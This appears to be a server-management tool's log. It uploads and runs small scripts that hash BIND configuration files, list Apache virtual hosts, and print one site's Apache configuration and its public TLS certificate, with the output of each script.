MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 19:09:34: Establishing a connection
2026-03-04 19:13:54: Establishing a connection
2026-03-04 19:14:13: Establishing a connection
2026-03-04 19:14:14: 

PUT: /tmp/pkp249369

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 19:14:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp249369; rm /tmp/pkp249369'

2026-03-04 19:14:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-04 19:14:20: Establishing a connection
2026-03-04 19:14:20: 

PUT: /tmp/pkp477038

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-04 19:14:21: 

chmod 755 /tmp/pkp477038; /tmp/pkp477038; rm /tmp/pkp477038

2026-03-04 19:14:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-04 19:14:21: 

PUT: /tmp/pkp920250

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 19:14:22: 

chmod 755 /tmp/pkp920250; /tmp/pkp920250; rm /tmp/pkp920250

2026-03-04 19:14:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf	1252

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-04 19:14:22: 

PUT: /tmp/pkp281559

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 19:14:23: 

chmod 755 /tmp/pkp281559; /tmp/pkp281559; rm /tmp/pkp281559

2026-03-04 19:14:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5344
04:47:de:e0:75:06:0e:2d:af:6a:43:32:28:28:df:02

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBlGsPY0n/u6/tczpijPN+ZLFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjMxMDUwMTUxWhcNMjYwMzMxMDUwMTUwWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjYFQTXZQg
43x/4+hTRvVdzvkocJSqkARRJIw71SaymCgFL9TWdtA5PnROZXZGEbQ76NHcdQln
SNCdNQwLqfi+svrzKADyV6U9xr5DB8u0LBIfhO2Bzf9REpcy3DGelzn97qVoqtbU
uGZZZlgcTuR6ikHVCurrY0twz+8B4L63GAU+v3BWe8SSrgSOCRe17W8EXbwm6fyv
f8OxX2Ff2QYmqGdBIRpegEd31pM31gnGx1NOQ/wsUyZE81a+7en7jt/9d4BurEBL
ZKxLhLqwlD0/6oqQcUSdIG2hTGtWgjAc6pRgScer6xduVybjzvmep84qz0BU1vYL
O/76YL5I3GoNAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
